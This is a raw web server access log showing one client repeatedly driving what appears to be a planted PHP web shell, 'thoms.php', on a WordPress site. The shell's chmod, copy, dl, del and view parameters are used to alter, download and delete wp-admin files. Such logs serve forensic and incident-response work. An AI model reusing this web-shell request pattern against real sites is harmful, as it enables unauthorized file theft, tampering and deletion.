45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?chmod=site-health.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-tags.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-tags.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /booking-wise2.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 200 13730 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /booking-wise2.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?dl=media.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=media.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 200 15923 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /booking-wise2.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /booking-wise2.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /thoms.php?dl=term.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?dl=term.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /booking-wise2.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 200 18598 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /booking-wise2.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /thoms.php?chmod=options-general.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /booking-wise2.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /thoms.php?chmod=admin-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /booking-wise2.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /thoms.php?dl=edit-comments.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28886 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:25 -0400] "GET /booking-wise2.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?chmod=link.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 200 13064 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 200 15245 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ftheme-install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ftheme-install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?del=admin-ajax.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?chmod=install-helper.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?dl=contribute.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28835 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?del=freedoms.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 200 18496 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:26 -0400] "GET /thoms.php?dl=update-core.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?chmod=profile.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /booking-wise2.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?chmod=upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?chmod=export.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fprofile.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fprofile.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /booking-wise2.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 200 14221 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fusers.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fusers.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-functions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-functions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:27 -0400] "GET /thoms.php?dl=revision.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /booking-wise2.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 200 20131 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?del=menu.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?del=menu.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fpost.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fpost.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupgrade.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupgrade.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?dl=site-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29059 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?dl=admin-footer.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?dl=export-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29056 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?dl=edit-link-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 200 17278 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 200 16927 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?dl=options-privacy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 200 12388 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 200 17619 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Finstall-helper.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Finstall-helper.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /booking-wise2.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?dl=media-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /booking-wise2.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?dl=options-general.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29056 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:29 -0400] "GET /thoms.php?del=load-styles.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 200 26266 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?chmod=themes.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /booking-wise2.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
